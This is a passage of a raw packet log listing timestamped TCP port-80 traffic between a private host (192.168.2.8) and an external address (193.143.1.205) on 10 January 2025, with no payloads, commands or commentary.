Jan 10, 2025 14:32:21.122339964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.123208046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.125628948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.125641108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.125653982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.125667095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.125698090 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.125772953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.126954079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.160789967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.160864115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.160876989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.160883904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.160888910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.160908937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.160923004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.160938025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.160955906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.160969019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.160979986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.160981894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.160981894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.160993099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.161016941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.161079884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.161082983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.161096096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.161154032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.195493937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.195516109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.195528030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.195595026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.195606947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.195619106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.195630074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.195645094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.195653915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.195657015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.195668936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.195681095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.195708036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.195765018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.195780993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.195791960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.195802927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.195820093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.195823908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.195832014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.195838928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.195897102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.195897102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.195924997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.195936918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.195947886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.195960999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196013927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.196013927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.196036100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196046114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196063995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196075916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196079016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.196086884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196105003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196115971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196124077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.196170092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196188927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196207047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.196207047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.196208954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196247101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.196285009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196296930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196309090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196320057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196331978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196356058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.196356058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.196557999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196569920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196580887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196593046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196595907 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.196604013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196614981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196616888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.196629047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196640015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196650982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196681976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.196681976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.196727037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.196757078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196768045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196780920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196791887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196829081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.196830034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.196844101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196856976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196867943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196927071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196935892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.196938038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196949959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196980000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196990967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.196993113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.196993113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.197001934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197041988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197052956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197067976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.197069883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197108984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.197108984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.197113991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197125912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197138071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197148085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197170973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.197210073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.197398901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197411060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197422981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197433949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197439909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197446108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197447062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.197458982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197531939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197544098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197556019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197566986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.197566986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.197567940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197581053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197592974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197603941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197616100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.197616100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.197673082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197685003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197685003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.197698116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197724104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.197761059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197772980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197784901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197796106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.197799921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.197926044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.200937986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.212829113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.212850094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.212861061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.212877989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.212891102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.212913036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.212917089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.212971926 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.212986946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.213011980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.213020086 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.213020086 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.251487017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251504898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251513958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251578093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251590014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251595974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251600981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251611948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251620054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.251625061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251648903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251661062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251688957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.251691103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251713991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251727104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251738071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251758099 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.251758099 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.251785040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251863956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251874924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251885891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251898050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251899958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.251899958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.251923084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.251961946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251972914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251983881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.251993895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.252015114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.252015114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.286230087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286243916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286283970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286294937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286308050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286319017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286325932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286355972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286367893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286390066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.286449909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286470890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286484003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286488056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286494970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286508083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286513090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286515951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.286521912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286533117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286604881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286617994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286628962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.286628962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286657095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.286659002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286672115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286684990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286693096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.286696911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286726952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.286756039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286777020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286787987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286798000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286815882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.286815882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.286829948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286855936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286880016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.286912918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286915064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.286946058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.286982059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.286998034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287010908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287020922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287045956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287080050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.287080050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.287101984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287113905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287134886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287144899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287156105 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.287157059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287169933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287201881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.287201881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.287208080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287219048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287231922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287285089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.287327051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287345886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287358046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287369013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287375927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287396908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.287435055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.287435055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.287462950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287475109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287487984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287497997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287511110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287533045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287543058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.287544012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.287545919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287558079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287571907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287580013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.287616014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.287657976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287669897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287682056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287727118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.287727118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.287753105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287764072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287775993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287808895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.287955046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287966013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287977934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.287988901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.288001060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.288019896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.288022041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.288022041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.288032055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.288042068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.288054943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.288059950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.288073063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.288081884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.288081884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.288105965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.288116932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.288124084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.288130045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.288172960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.288182020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.288184881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.288208961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.288208961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.288265944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.288279057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.288290024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.288302898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.288321018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.288330078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.288330078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.288333893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.288347006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.288357019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.288379908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.288379908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.291584015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.303567886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.303580046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.303591013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.303601980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.303781986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.304008961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.320770025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.320790052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.320802927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.320816040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.320826054 CET	80	49704	193.143.1.205	192.168.2.8
